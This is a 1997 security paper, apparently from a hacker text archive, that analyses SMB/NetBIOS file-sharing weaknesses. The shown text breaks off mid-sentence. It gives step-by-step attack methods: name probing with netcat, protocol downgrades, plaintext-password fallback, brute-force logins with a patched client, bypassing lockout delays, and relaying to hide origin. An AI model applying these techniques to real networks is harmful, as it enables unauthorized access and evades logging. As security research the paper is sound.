The Hacker's Encyclopedia 1998/hackers_encyclopedia.iso/hacking/network/cifs.txt

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  CIFS: Common Insecurities Fail Scrutiny
  =======================================
 *Hobbit*, Avian Research, [e-mail], January 1997

Abstract
========
An analysis of TCP/IP NetBIOS file-sharing protocols is presented, and the
steps involved in making a client to server SMB connection described in some
detail.  Emphasis is placed on protocol and administrative vulnerabilities
at
various stages and fixes/workarounds for some of them, with the hope that
the
reader will better understand attacks and defenses alike.  Several examples
are presented, based upon using programs from the Unix Samba package to
probe
a target IP network and survey it for potential problems.
Introduction
============
We will explore the Shared Message Block protocol and related issues, at the
network level and higher, in the interest of presenting useful knowledge
about
Microsoft networking [loosely aka any of CIFS, NetBEUI/NetBIOS, Lan Manager
compatible] security issues.  Microsoft systems and applications, based on
NT
and various flavors of Windows, are forcibly entering homes and offices the
world over and all expecting to speak SMB-based filesharing protocols among
themselves as well as with products from other vendors.  As the network
security community has come to expect from most commercial offerings, these
systems are distributed with poorly configured security settings which are
seldom changed or even reviewed by their new owners before being plugged
into
the Internet.  This leaves many of them vulnerable to trivial attacks, and
administrators who *do* try to address the security issues often miss or
misconfigure things, perhaps making their systems less obviously vulnerable
but nonetheless still vulnerable.  A major factor in the difficulty is that
many security practitioners are venturing into new territory here, which
turns out to be riddled with unexpected and undocumented pitfalls.  People
relatively new to the overall networking security field, including many of
those implementing and installing said operating systems, often lack the
experience gained from other OSes and environments and have no idea where to
look for potential problems.
No specific audience is targeted here, but administrators with a primarily
Unix and NFS background that are now being asked to also support Windows and
NT environments may benefit the most from this.  A necessarily Unix-centric
viewpoint is taken, since that is where the author's main strengths are, but
more importantly because Unix-based source code for a protocol
implementation
is freely available.  Andy Tridgell's Samba package represents an amazing
amount of very solid and still-evolving work, and allows Unix systems to
interoperate with Microsoft and Lan Manager platforms to access files and
other resources over TCP/IP networks.  The examples and discussion herein
refer to the "stable release" version 1.9.15 patchlevel 8 of Samba, with
some minimal modifications geared toward exploring the security aspects
of the protocol.  While not the latest release, it suffices here, and the
documentation that comes with it is highly recommended reading.  The
evolving
Internet-draft for the Common Internet File System, or CIFS, is also a key
reference work that expands upon original or "core" SMB and explains most of
what the boys in Redmond hope will become a full Internet standard.  Their
own
implementations mostly adhere to the draft, and many other vendors already
support CIFS or some subset thereof.  A few issues specific to NT
necessarily
appear, but NT security itself is a whole different bucket of worms and is
mostly outside the scope of this text.
So far there seems to be very little hard information available about this,
although I am aware of at least one other ongoing related effort.  Several
megabytes of NT-security archives, random whitepapers, RFCs, the CIFS spec,
the Samba stuff, a few MS knowledge-base articles, strings extracted from
binaries, and packet dumps have been dutifully waded through during the
information-gathering stages of this project, and there are *still* many
missing pieces.  Some compatible platforms were unavailable for testing,
notably OS/2.  While often tedious, at least the way has been generously
littered with occurrences of clapping hand to forehead and muttering
"crikey,
what are they *thinking*?!"  The intent is not to compete against other
works
in progress, it is rather to aid them in moving forward.
This document may be freely copied and quoted in whole or part, provided
that
proper attribution is included.  Many of the ideas contained herein are not
new, although it is possible that one or two hitherto unknown problems or
methods have been independently discovered.  The point is to collect the
information into one place and describe a stepwise procedure for evaluating
this type of network environment, in a way that those of us who have
hitherto
mostly shunned any dealings with Microsoft and other PC network products can
readily understand.
Groundwork: What's out there?
=============================
Little needs to be said here.  Given a target network or set of IP
addresses,
well-known methods can be used for finding the target hosts -- the procedure
which at least one large contractor refers to as "network contour
assessment."
DNS zone dumps in conjunction with tools such as "fping" can quickly locate
active machines.  To specifically locate potential SMB servers, scanning for
TCP port 139 is a fairly safe bet.  In the absence of packet filtering,
connection attempts there either open or get refused so it is unnecessary to
wait around for long timeouts.  If machines respond to pinging or other
connectivity tests but TCP connections to 139 time out, then it is likely
that
there is a packet filter in the way protecting against NetBIOS traffic.  A
Unix parallel would be running something like "rpcinfo -p" against a set of
targets to find NFS servers, which may or may not be protected by a filter
blocking traffic to the portmapper at TCP/UDP 111.
We will therefore assume having collected a list of potential SMB servers,
and
proceed to attack a single target therein.  Note however that information
gleaned from neighboring machines may be useful, just as in the traditional
Unix-based environment.  Remembering various information about a network as
a
whole and plugging it back into specific host attacks is a classic approach
amply detailed in numerous papers.
Phase 0: Name determination
===========================
To establish an SMB session to a typical target, one must not only have its
IP
address but also know its "computer name."  This is an arbitrary name
similar
to a DNS hostname assigned by an administrator, unique within an
organization
or at least a given LAN, and in many installations the computername and DNS
name are the same for administrative convenience.  Name resolution is by
definition a separate entity from SMB itself, and employs a variety of
methods
including static files, DNS, WINS, and local-wire broadcasts.  When a
machine
is running NetBIOS over TCP/IP, or "NBT", it attaches its own little name
service to UDP port 137, which makes a continual effort to both locate and
disseminate as much info as it can about services on the local LAN.  One of
its functions is periodically broadcasting its own set of names on to the
local wire, to notify immediate neighbors that it exists and offers
services.
IP routers generally do not forward these broadcasts, so passive receivers
outside an immediate subnet will not learn these names or which IP hosts
they
belong to.  Fortunately there is usually an easy way to remotely determine
the
name, known as a "node status query."  The name service also replies to
direct
queries about certain names associated with its own particular host, and if
it
is running as a WINS server it can give out even more information.
There are two basic query types -- IP address, and node status.  Status
query
might be more properly called name query, since sending one should elicit an
answer containing all of a target's NetBIOS names.  Both are remarkably
similar in structure to DNS queries, and are indeed a variant of the DNS
protocol itself.  A NetBIOS address query is for resource record type 32 and
a
status query is type 33; both of class IN or 1.  With traditional NetBEUI
over
non-IP transports such as with local-LAN IPX, computer names are normally
uppercase, 16 bytes long, and padded with spaces which are illegal
characters
in the DNS spec for hostnames.  To get around this in IP environments,
NetBIOS
names are mangled into a rather bizarre format.  The official spec for this
is
in RFCs 1001 and 1002, but to quickly sum it up: Each ASCII character in a
name is split into 4-bit halves, and each half is added to ascii value 0x41
[uppercase "A"] to form a new byte.  Each original character therefore
becomes
two mangled characters in the range A-P, doubling the entire length to 32
bytes.  Thus, the name "FEH" gets padded out with spaces and becomes
 ascii string "FEH             "  -- is
 hex 46 45 48 20 20 20 20 20 20 20 20 20 20 20 20 20  -- split into
 hex 4 6 4 5 4 8 2 0 2 0 2 0 2 0 2 0 2 0 ...etc...  -- add to "A" gives
 hex 45 47 45 46 45 49 43 41 43 41 43 41 ...etc...  -- which is
 mangled string "EGEFEICACACACACACACACACACACACACA"
The name_mangle() routine in Samba's util.c does this translation.  The
characteristic "...CACACACA" string trailer makes NetBIOS names easily
recognizable when they show up in packet dumps and such.  Of particular
interest is the wildcard name "*", but padded with *nulls* instead of
spaces.
This mangles to "CKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".  Under most
circumstances,
name-service listeners are required to reply to queries for this wildcard
name
as well as for their own computernames.  Therefore sending a status query
for this "*" name is very likely to produce a name reply as resource records
containing the target's NetBIOS names, which oddly enough come back in
*non-mangled* format.  Multiple copies of some names usually show up, but
they
are subtly different.  In practice the 16th byte of a non-mangled name is a
type byte, which is a different animal from a DNS resource-record type!
When
a NetBIOS machine comes up its "name registration" broadcasts contain
multiple
instances of its own name and other strings, but with several different
*NetBIOS* name types that can indicate different services.  Note herein that
mangled names are of length 32 or 0x20, address queries are RR type 32, and
several returned names have *type* 0x20.  Therefore a lot of 0x20s show up
in
these DNS-style packets and can make things rather confusing.  There seem to
be many name types, not particularly well documented except maybe in
knowledge
bases or resource kits, but the important ones are
 0x00 base computernames and workgroups, also in "*" queries
 0x01 master browser, in magic __MSBROWSE__ cookie
 0x03 messaging/alerter service; name of logged-in user
 0x20 resource-sharing "server service" name
 0x1B domain master-browser name
 0x1C domain controller name
 0x1E domain/workgroup master browser election announcement [?]
The mangling example above has 0x20 as its type byte, therefore building the
name variant used when connecting to fileservers.  Server and workstation
machines alike can provide various different services, and are thus usually
aware of more than one name/type at once.  In fact most of them return a
group
of five or so in a status reply, including the base computer name and
whatever
"workgroup" the target is a member of.  Name type 0 should be used with the
special "*" query which is null-padded anyway, or a response is unlikely.
If
NO name of type 0x20 is present in the list, it is unlikely that the machine
in question has been configured to share any of its own resources and
attempts
to connect sessions to it will likely fail.  Name type 0x3 in the reply
often
reveals the username logged in at the machine's console, and should be
collected as a potential username to try against this or neighboring
targets.
The base name may also be the same as a username, since in typical small
office environments the machines are often associated with specific people.

The special name "^A^B__MSBROWSE__^B^A" [last char being control-A, or type
1]
indicates a "master browser" which is a machine that collects info about
neighboring machines -- in particular, their IP addresses.  A master browser
is a fortunate find since we can likely get a "browse list" from that
machine
[described later] and then possibly query that same target for all the other
names and addresses it claims to know about.
One can do "nbtstat -A {ip-addr}" from a Microsoft platform to direct "*"
queries to a specific IP-aware target and obtain its name list.  In the
absence of a mapping in an LMHOSTS file or some other mechanism, a specific
machine can be found using "nbtstat -a \\NAME" if it is on the local wire.
An
address query is sent to the broadcast address of the connected subnet, and
if
a machine responds then a unicast status query is sent to it.  For reasons
unfathomable Microsoft platforms usually send status replies FROM UDP 137 TO
UDP 137, regardless of the UDP source ports of query packets, so the
querying
application must locally bind to 137 [requiring root on Unix boxes] to
ensure
that replies can be received.  Oddly enough, *address* replies are normally
returned to whatever source port the query was from!  To handle this fine
example of the IP savvy out there in Redmond, a tiny patch is needed for the
"nmblookup" Samba program, which as it comes grabs a high port and is
unlikely
to receive status replies.  It will then work similarly to "nbtstat" when
run
as root, sending the "*" query if given the "-S \*" argument [quoting "*" to
the shell], and also accepts a *unicast* target IP as the -B argument.
Nmblookup also has an interesting feature that allows setting the hex name
type in a query -- for example, a name of the form "TARGET#1C" forces the
name
type to be 0x1C.  A slightly more "raw" equivalent of the generic "*" query,
which sometimes elicits a response containing no names but a response
nonetheless, can be done using netcat to locally bind UDP port 137 and send
a
query.  Feed the following input bytes into "nc -v -u -w 3 -p 137 target
137"
and the output through "cat -v":
 0x00 # . 1
 0x03 # . 2 # xid
 0x00 # . 3
 0x00 # . 4 # flags
 0x00 # . 5
 0x01 # . 6 # qcnt
 0x00 # . 7
 0x00 # . 8 # rcnt
 0x00 # . 9
 0x00 # . 10 # nscnt
 0x00 # . 11
 0x00 # . 12 # acnt
 0x20 #   13 # namelen
 0x43 # C 14 # mangled "*" ...
 0x4b # K 15
 0x41 # A 16
 0x41 # A 17
 0x41 # A 18
 0x41 # A 19
 0x41 # A 20
 0x41 # A 21
 0x41 # A 22
 0x41 # A 23
 0x41 # A 24
 0x41 # A 25
 0x41 # A 26
 0x41 # A 27
 0x41 # A 28
 0x41 # A 29
 0x41 # A 30
 0x41 # A 31
 0x41 # A 32
 0x41 # A 33
 0x41 # A 34
 0x41 # A 35
 0x41 # A 36
 0x41 # A 37
 0x41 # A 38
 0x41 # A 39
 0x41 # A 40
 0x41 # A 41
 0x41 # A 42
 0x41 # A 43
 0x41 # A 44
 0x41 # A 45 # [embedded type byte]
 0x00 # . 46 # terminator
 0x00 # . 47
 0x21 # ! 48 # querytype NBTSTAT
 0x00 # . 49
 0x01 # . 50 # class IN
In rare cases, an additional "scope ID" may be tacked on to mangled names in
the format "EGEFEICACACACACACACACACACACACACA.scope" just like in multipart
DNS
names.  A scope does not contain spaces, and therefore can and indeed is
sent
unchanged in hostname queries.  Scope names are further discussed later
under
"defenses", since they can play a role therein.
Firing "*" queries at either selected hosts or the IP subnet's directed
broadcast is another way of probing around for active SMB hosts.  Most
routers
do not forward directed-subnet broadcast, but ones that do may get you all
the
answers in one or two shots!  In most cases, scanning for TCP port 139 and
following up with unicast UDP status queries is still likely to be faster
and
more reliable, especially when a target for some reason won't respond to "*"
queries.  This sometimes happens if the messaging or alerter service is shut
down on the target, which is one recommended security procedure in several
documents.  If you suspect this case, try asking for "WORKGROUP", parts of
the
target's DNS name, and other likely strings like variants on the name of the
organization or people within it.  Status-querying explicitly for a
machine's
name or workgroup using type 0 should also cause it to respond, and a lack
of
any type 0x3 names in the list would confirm that messaging is disabled.
Whether due to packet filters or some other reason, getting *no* reply for
all this effort is still not a reason to give up -- it is UDP after all, and
further name guesses can be plugged in during the next phase.
Phase 1: The TCP session
========================
Next we open a TCP connection to port 139 on the target.  There is no longer
a
need for any special local ports, so smbclient can run as a normal Unix
user.
The "called" target's computername of the appropriate type and the "caller"
client name are name-mangled and plugged into a Session Request block sent
to
the server.  The idea here is to sanity-check the name determination step
and
ensure that one is conversing with the correct machine -- especially wise in
the inevitable cases of outdated LMHOSTS files or DNS data.  If the target
server's name is right a "positive response" is sent back, and the
connection
remains open.  If the wrong server name is passed in, a "negative response"
is
sent along with an error code, and the server end of the connection starts a
TCP shutdown by sending a FIN.  Nothing further can be done with the failed
connection; a new one must be opened to try a different servername.  The
name
of the connecting client is largely irrelevant and can even be null,
although
its name type is generally 0.  However, the name the client supplies is the
name that gets logged during later phases such as user logins.  The client
name may also affect behavior against NT machines which have such settable
parameters as which workstations a given user may log in from.  It appears
that the source IP address is *completely* irrelevant to Microsoft-based
servers, which simply accept the given client name.  This is a first hint
about how much functionality is left up to the client.  A vague Unix
parallel
might be faking the client hostname in mount requests to be something in the
target's export list, which usually worked against early NFS
implementations.
This session request is only the first of many steps taken behind the scenes
by most client commands.  From a command prompt on a Microsoft box one does
"net use \\TARGET\SHARENAME" to begin access to a filesystem, or "net view
\\TARGET" to see a target's list of available services.  Samba's "smbclient"
accepts the same syntax, although the backslashes need to be isolated from
the shell by enclosing in quotes or specifying \\\\TARGET\\RESOURCE.  It
also
accepts "-L TARGET" to list the available resources, which in any case is
what we want to do first.  Smbclient by default picks up the caller name
from the hostname of the Unix machine it is running on, but we can specify
"-n fakename" to set it to something arbitrary.
An error response is usually one of two: either the passed servername wasn't
correct, or the name was right but no service of the requested name type is
running.  Smbclient translates these errors respectively as "called name not
present" or "not listening on called name."  Usually if server-name/type
0x20
is unreachable, the target is not sharing its resources at all and there
isn't
much more we can do with it.  Sessions to server-name/type 0x3 may work to
reach the messaging service and is sometimes a way to check if we got at
least
one name right, but short of sending annoying messages to the console user
it
is not particularly useful.  Smbclient has a "-M" argument to do message
sending.  The spec provides for a "not listening for CALLING name" error,
implying a potential facility for access restriction by specific client, but
today's implementations don't seem to care.
If all UDP name queries above have failed, the same sorts of guessing at the
target's computername can be tried here, one per TCP connection.  If the
connection is relayed via an intermediate machine such as a proxy, the
client
must still supply the correct name of the target server.  Microsoft clients
can be faked out with an appropriate LMHOSTS entry with the name of the
final
destination but the IP address of the *relayer*.  As long as the final
target
sees its own name in the request, it doesn't matter how it got there.  An
example fast way to script up different LMHOSTS names on the fly would be
having "#INCLUDE ramdisk-file-name" in the main LMHOSTS file, to avoid
repeatedly writing to the hard drive just to test a bunch of targets.  The
CIFS spec mentions that the magic target name "*SMBSERVER" is supposed to be
some sort of wildcard, but it is optional and no current Microsoft platforms
seem to accept it to open sessions.  Samba does, simply because by design it
accepts any old pair of names for sessions and more sensibly logs the
client's
IP address if appropriately configured.
Using a relay host can foil backtracing efforts by someone who notices odd
network activity or log entries and goes to investigate.  A suitable relayer
program can take just about any form, such a simple netcat script, a SOCKS
gateway, or even Microsoft's own "Catapult" proxy package.  The relay would
presumably listen on TCP 139 and forward the connection, but with smbclient
the relay can listen on any other port and we can supply the "-p {portnum}"
argument to reach it.  If a high-port relay is already behind a packet
filter
that blocks TCP 139 but allows >1024, not only is the firewall bypassed but
the resulting server connection may look like a completely normal one from a
trusted inside host.
Some Linux distributions anticipate being used as Samba servers, and come
with an "nbsession" entry in inetd.conf but no server program to handle the
connection.  These will listen on TCP 139 but immediately close, while
noting an appropriate error in the syslog.
A brief digression about SMB
============================
So far none of this has involved any actual Shared Message Block protocol.
The CIFS spec contains a detailed rundown on SMB packet formats.  While SMB
can run over various transports including IP, here we only discuss its usual
interaction via TCP 139.  A 4-byte block length is sent down the TCP stream
followed by the block itself, so the transport handlers then know how much
to
read from or write to the network.  SMB is thus independent of how IP-level
packets split up the stream -- it doesn't care, it just keeps reading a
connected socket until it satisfies the length's worth or times out.  SMB
blocks can be up to 65536 bytes long *excluding* the length integer, but in
practice the blocks are usually smaller.  SMB also trusts the TCP reliable
transport layer to segregate different client sessions.  In an alternate
mode
that uses UDP 138 the data blocks look almost the same, except that 12 bytes
of unused "filler" are used under UDP to pass various session and sequencing
context info.  Many SMB request types support what is called the "AndX"
mechanism, which provides a way to send several requests at once.  Fields in
these specify how to locate any subsequent SMB requests that were "batched"
into this block.  See the spec for more information.
The Samba code builds SMB blocks into buffers using a bunch of hairy macros
with names like "SSVAL" to move short and long integers around and convert
byte-ordering.  [For a fun time, try unsnarling "byteorder.h".]  Since Samba
builds these internal buffers to include the 4-byte block length at offset
0,
any other offsets described here are relative to that.  After the block
length
comes the SMB header itself, starting at offset 4 in our reference frame
with
0xFF, 'S', 'M', 'B'.  A one-byte command code and several fixed-length
fields
follow, ending the SMB header proper.  The command code indicates the type
of
SMB being requested or responded to.  The request / response descriptions in
CIFS exclude the header, and only detail what follows.  After the header is
a
length byte and a variable-length bunch of two-byte "parameter words", and
finally any associated buffers which can contain values, strings, file data,
or whatever.  A rough chart of this is given in Appendix C.  The parameter
words begin at offset 37 and are where most of the work gets done; in Samba
they are called "smb_vwvN" where N is a number starting with 0.  The buffers
start at a variable offset depending on how many parameter words preceded;
Samba has a routine called smb_buf() to dig through and find it.  It should
be
noted that while the leading length bytes are in network order, all values
inside the SMB blocks must be in "Intel" or little-endian order!  In general
both the block structure *and* what gets placed into it is all rather
complex
and confusing, and if it's any reassurance, the comments in earlier versions
of Samba hint that much of it started as total guesswork and verbatim
copying
of block sections from packet dumps of sessions between MS boxes.  As more
SMB-savvy contributors came into the Samba development picture, these blind
but somehow functional shots in the dark became better explained and
recoded.
When working with NT we often encounter something called "unicode", a
somewhat
warped international character encoding standard.  Strings are encoded into
sequences of two-byte words, wasting twice the storage space required.  This
causes the string "ABC" to appear as "41 00 42 00 43 00" in hex dumps, and
pops up in registry entries, SMB packets, and many other places.  The
lengths
of unicode strings are usually stored elsewhere, such as [but not always] in
an SMB parameter word, and there is sometimes confusion about precisely how
long any string is.  For example, is unicode "ABC" of size 3 or size 6?  If
we
include and count a terminating null as required when sending passwords, is
it
then of size 4, 7, or perhaps even 8?  To make matters even worse the
strings
must in theory be word-aligned in memory, and to force this to be true a
leading null is supposed to be *inserted* ahead of the first character.  The
latest Samba server version contains a small fix for a common case where NT
clients cannot quite decide consistently about the length of a null password
string, and may send it as either 1 or 0.
One important part of the header we need to be aware of is two words
beginning
at offset 9 -- the response class and error codes, called smb_rcls and
smb_err.  These describe protocol errors in some detail, and there is a
fairly
large translation table of the most common errors near the end of client.c.
The two error classes we usually ever see in practice are DOS and SERVER.
There are several different possible class/error response combinations to
describe any one kind of problem, such as failure to authenticate a user,
and
which pairs get sent back depends upon what type of platform the target is.
The patch kit below includes a small routine called interpret_error() that
boils an assortment of common errors down into a couple of standard return
codes.  This helps us distinguish between fatal errors, nonfatal errors and
password problems, which figures significantly in a later phase of the
attack.
Some of the information here is not documented in CIFS, but can be found by
doing "net helpmsg {smb_err #}" under NT, which seems to have a very
complete
set of error message texts available.
Phase 2: Dialect negotiation
============================
Assuming an open TCP connection and successful session request, SMB request
blocks may now be sent.  The next step is for client and server to agree on
the "dialect" of SMB protocol they can support.  Over time, SMB has evolved
from earliest "Microsoft networks" core protocol, through two types of Lan
Manager and up to the current variant that NT uses.  Each new dialect adds a
couple of features, to support things like new authentication protocols and
long filenames.  The client sends a list of dialects it supports as [get
this!] a bunch of null-terminated ASCII strings, including entries like
 PC NETWORK PROGRAM 1.0
 MICROSOFT NETWORKS 1.03
 LANMAN1.0
 LM1.2X002
 LANMAN2.1
 NT LM 0.12
which the server string-compares against dialects it recognizes and picks
the
"highest" common protocol level.  There is a big comment in Samba's server.c
just before reply_negprot() describing what most server platforms do with
this.  A response is built and sent back to the client, containing several
important items: a numeric index into the dialect list to indicate which to
use, some security-relevant flags, and an optional 8-byte "encryption key"
to
use for authentication.  This "key" is a random challenge nonce that the
server generates and temporarily remembers.  A confusingly named "session
key" is also sent, which is just some sort of unique but mostly unimportant
identifier and *not* the same as the cryptkey.
Most SMB servers support backward dialect compatibility, and even if we
support the latest NT we can always lie and exclude some of the later
dialects
from the list we send.  Sessions between two NT machines involve more
complex
security protocols, so for our attack purposes it is definitely worth our
while to convince a server that we are a dumb old client that can't handle
the fancier stuff.  Microsoft clients can't do this but smbclient can, with
a
settable max_protocol variable, and we should therefore plug "-m LANMAN2"
into
our command line to force the server to dumb itself down somewhat.
Smbclient
also parses dialects as strings here, not numeric levels.
The security mode flags appear in smb_vwv1, and we need to pay attention to
the low two bits thereof.  Smbclient tells us what this "sec mode" is at
debug
level 3.  The earlier NetBIOS implementations optionally required a simple
password to connect to a shared filesystem, and had no real concept of *who*
was connecting as long as the correct password was supplied.  Everyone using
such a fileshare must know the single password for it, which is considered
fairly lame from a security standpoint.  This is called "share-level
security", and is used by Windows for Workgroups, Samba if appropriately
configured, and maybe some other Lan Manager platforms.  Later dialects have
a
concept of individual user login, and indicate this "user-level security" by
setting the LSB of the security flags.  The next higher bit in the flags
indicates whether the client should use "password encryption" or not.  Thus
if
smbclient reports "sec mode 3" as it does when connecting to most NT
servers,
both of these bits are set.  Sometimes we see a reference to "server-level
security", but this simply means that authentication data is forwarded to a
Domain Controller machine for validation and does not affect the mode bits.
Dialect negotiation must occur on a connection before other SMB types may be
sent.  If dialect negotiation fails for some reason, the server sends a FIN
along with the response and the TCP connection must be closed and reopened.
One way to observe this is to try negotiating the dialect either twice or
not
at all on a given connection.  If a server is running in user-level security
and a protocol is negotiated that does not support user login at all, the
server will generally set the user-level bit anyway and wind up refusing to
allow most other SMB transactions on that connection until successful user
authentication is performed.  This happens during the next phase.
Phase 3: SMB session setup
==========================
A server running in user-level security generally requires this step before
allowing access to shared resources.  This phase can be skipped entirely
against share-level servers, or used anyway to pass additional info about
buffer sizes and client capabilities.  Normally here is where usernames and
passwords get plugged in and the "attack" really begins.  The official CIFS
name for this phase is SessionSetupAndX, implying once again that additional
SMB requests can and often are batched into this block.  Note carefully that
despite the unfortunately confusing name, this "session setup" is a very
DIFFERENT animal from the RFC1001/1002-style TCP "session setup" done in
phase 0!  In general the different TCP sessions distinguish between client
*machines*, while a "UID" determined during this SMB setup phase
distinguishes
an individual *user* on a given client.  This implies that all SMB traffic
between a given client and server pair may pass over a single TCP connection
regardless of originating user, although this is not required behavior by
any
means since servers can support several concurrent TCP connections.  It also
implies that multiple SMB setup requests can be sent across the single
connection instance, which is perhaps the key thing that throws it wide open
to various attacks.
The contents of this block and the server response vary somewhat depending
on the agreed dialect level and security flags.  The most relevant items in
the request are a username and either a plaintext password or a hash derived
from it.  Other items include maximum buffer sizes, various other client
information such as its domain and running OS [all of which can be faked
up],
and perhaps further SMB commands via the AndX mechanism.
Microsoft boxes collect a username and password through one or another
"logon"
dialog.  Under WFWG, the simplest command-line way to change them on the fly
is "net logon {user}" which sets them up for a subsequent "net use".  NT
requires a login to use the client workstation and saves the username and
password from that as default credentials for subsequent filesharing, but
these can be overridden in its "net" command line with optional /USER and
password arguments.  Smbclient accepts "-U username", and asks for a
password
that it will plug in at the appropriate time.  The unmodified version
accepts
a password on the command line as an optional argument after the sharename,
or
by using the format "-U user%passwd".  In many cases the password must be in
all UPPERCASE, but some servers may accept or even require mixed-case even
in
LANMAN-only dialect -- this is a bit of a crap shoot, so try it both ways.
The Samba server has hooks to try a couple of different permutations in an
effort to authenticate oddball clients, with appropriate warnings about
reduced keyspace.
Under user-level security a successful login means we are basically "in" as
either the target user or a guest.  The SMB response contains some strings
containing the server's OS and version, and an important SMB header field
called the UID.  This is not quite the same thing as a Unix UID, although
for
convenience Samba does use the Unix UID of the authenticating user here.
Microsoft servers construct an internal set of user credentials and rights
and
assign the UID as a token that refers to it.  The UID is in theory unique
only
within the context of the enclosing TCP connection -- if multiple SMB
sessions
are active across one TCP connection the UID distinguishes the separate
users
there, and in theory different users on different TCP sockets could wind up
being assigned the same UID.  There is also a process-ID or PID header field
that the *client* initiates, but that seems to hold little relevance except
for some file-locking calls.  Again, regardless of server platform the UID
is
merely a reference token and while playing games with UID/GID values may be
effective against NFS servers, trying it here it only produces "invalid UID"
SMB errors or is simply ignored by the server.  The server can optionally
set
a flag in the setup response that indicates that a given session is a
"guest"
login.  Samba does this and NT does not, but the setting of this bit seems
irrelevant to the rights a given active UID has on the server anyway.
There are several possible error responses here, which our interpret_error
routine turns into something we can recognize to mean whether to continue
the
attack or give up.  An unknown username and/or password in most cases comes
back as "access denied" unless unknown/null users get mapped to GUEST.
There
are some errors that imply that the supplied credentials were right but
there
is some other problem, such as "account disabled" or "cannot log in from the
network."  In such cases further attempts with a given username will
probably
be unproductive, but remember that here the TCP connection remains open
regardless of the return status, allowing ample opportunity for retries with
any other username and password.  Protocol errors or transient server
problems
can also occur, some of which may imply that a new TCP session is needed.
Two important usernames to try right off against Microsoft platforms are
ADMINISTRATOR and GUEST, since these usually exist out of the box and all
too
often have null passwords.  If the ADMINISTRATOR login has been renamed to
"something obscure" as recommended in several texts, its new name may show
up
somewhere on the target network as a type 0x3 anyway.  As mentioned before,
any other base computernames and type 0x3 messaging names collected from the
target network are all potential usernames.  A machine running the Microsoft
web server may have an account of the form IUSR_{basename} that got quietly
created during setup, and it is said that the SQL server pulls similar
stunts.
A null username or one that is unknown to the server is often accepted as a
guest login that allows some limited amount of poking around -- often enough
access to at least read files from the server if not write to them.  Any
hint
at an account used for disk backups in an NT environment should be pursued,
since such an account probably has "backup" privileges to read the entire
filesystem including the normally inaccessible SAM security database.  If
the
server is running Samba itself, a null username and password may grant guest
access.  Try some Unix accounts that have known or null passwords -- Samba
by
default disallows logins by accounts with null passwords, but for any
allowable ones does not check for a valid user shell like other daemons do.
Try likely null ones anyway since some sites may be configured to allow
them.
An exception to the null-password rule is Samba's default "pcguest" account
in
smb.conf, which many sites remap to "nobody" or something rather than create
a
new /etc/passwd entry.
If the client supports password encryption, it uses the user's password as
input to one or both of two possible encryption algorithms referred to as
the
LANMAN method and the NT method.  These algorithms are described in CIFS in
excruciating detail, and reviewed in Appendix A here.  By deliberately
dumbing
down our negotiated protocol level we can eliminate the need for the
NT-style
field even if connecting to an NT-dialect server.  For backward
compatibility
NT accepts the LANMAN password format, which completely obviates the
increased
security supposedly given by long case-sensitive passwords.  It is important
to understand that it is the CLIENT that chooses whether or not to use
password encryption, and the server's "use encryption" security mode bit is
just a gentle suggestion.  If a server cannot authenticate via a 24-byte
crypto response it is supposed to use whatever is given AS PLAINTEXT.  This
is
another major weakness in the protocol spec, since a compliant server cannot
enforce use of encryption!  We therefore don't even need "libdes" or the
Samba
crypto support for our attack kit, we can just send plaintext passwords.
Furthermore, since at this point we can send multiple SetupAndX exchanges
REGARDLESS of whether they succeed or fail, the opportunity for brute-force
guessing is obvious.  Most stock client apps are not useful as brute-forcing
engines since they exit after one or two failed authentications, but our
patch
kit modifies smbclient's send_login() routine to keep trying until it either
succeeds or runs out of passwords to try.
While this phase is ripe for brute-force attacks, it is also where servers
might start logging things.  Entries wind up, relative to their respective
system-root directories, in "audit.log" under Windows, "config\secevent.evt"
under the NT system directory, and "var/log.smb" on a Samba server.
Microsoft
platforms [particularly NT] open their log files in an exclusive way that
prevents other processes from directly reading or modifying them, and
Samba's
logfiles can be protected against normal users.  Unfortunately the default
setup for what *gets* logged is weak or nonexistent.  Windows seems only to
log full filesharing connection attempts, which do not happen at this phase,
and the logging is controlled via simple SYSTEM.INI lines.  NT out of the
box
logs NOTHING -- one must configure the NT "system policy" to *do* the
logging
for both failed and successful user logins, and only the name given by the
connecting client is saved -- NOT its IP address.  Other Microsoft platforms
have the same problem.  Unless someone actively runs "netstat -a" during the
attack or provides some third-party enhanced logging facility, no useful
backtracing information will be saved.  The Samba server by default only
logs
successful filesharing connections.  This pretty much lets an attacker guess
at Unix user passwords all day and never be noticed, similar to what vanilla
rexec allows.  Setting up more meaningful logging gets rather involved and
is
covered later under "defenses."  In all cases, recall also that any TCP
connections can be run through an intermediate relay which will cause the
relay's IP address to be observed instead of the real source of an attack.
NT servers exhibit several quirks worth mentioning, most of which reveal
that
the design of the authentication backend is at best naive.  A cleartext
unicode NT password can be sent in smb_vwv8 but if the alignment is screwed
up
or the length given as uneven, the returned error is "parameter incorrect"
and
the event log entry is just "unexpected error."  If a properly formed NT
password is given under NT LM dialect, encrypted or otherwise, any LANMAN
style one in smb_vwv7 is apparently ignored.  Upon valid authentication,
other
error codes returned can mean things like "account disabled", "network
access
denied", "cannot log in from this workstation", as well as several others
that
arguably give out too much information that could help guide an attack.
Users
can be configured such that they can only log in from certain named clients,
but not only can the client send an arbitrary caller name, it turns out that
using either a null name or even a single space handily bypasses this silly
restriction and allows the login anyway.
NT has the capability to "lock out" accounts after some number of failed
login
attempts.  While there is no specific error to indicate this, it is quite
easy
to remotely determine [at least against NT 4.0 with non-permanent user
lockout
policy] when a temporary account lockout happens.  Any failed login usually
causes the server to delay for 2 or 3 seconds before sending the SMB "access
denied" error, to slow down brute-force attacks.  Attempts on a valid
username
will elicit these delayed responses until the lockout threshold is reached,
and then suddenly there is NO delay anymore and subsequent guesses on the
same username are denied immediately!  If account lockout is enabled, the
default threshold is between 5 and 10 tries and the lockout time is 30
minutes.  Therefore in most cases it doesn't take very long to make the
lockout perceptibly happen.
If attempts on one known-to-exist username triggers login-failure lockout
but
another one does not, chances are that the second one is the administrator
account.  Conversely, if attempts on ADMINISTRATOR trigger lockout, it is
probably a decoy and the real one has been renamed.  Lockout does not apply
to the administrative account, with the ostensible idea being prevention of
*total* denial of service attacks.  This leaves ADMINISTRATOR or the
equivalent accountname open to unlimited guessing.  Even the access-denied
delay can be effectively bypassed.  The delay is imposed per TCP connection,
so by opening up 10 connections and pounding in different sets of passwords
an attacker gets a tenfold increase in brute-force speed.  Such an attack
probably occupies significant server CPU time since not only does the event
logging go crazy, but each plaintext guess must be re-hashed on the *server*
side for comparison against the stored OWF.  A workaround sometimes
suggested
to combat this is an obscure registry setting that causes the whole server
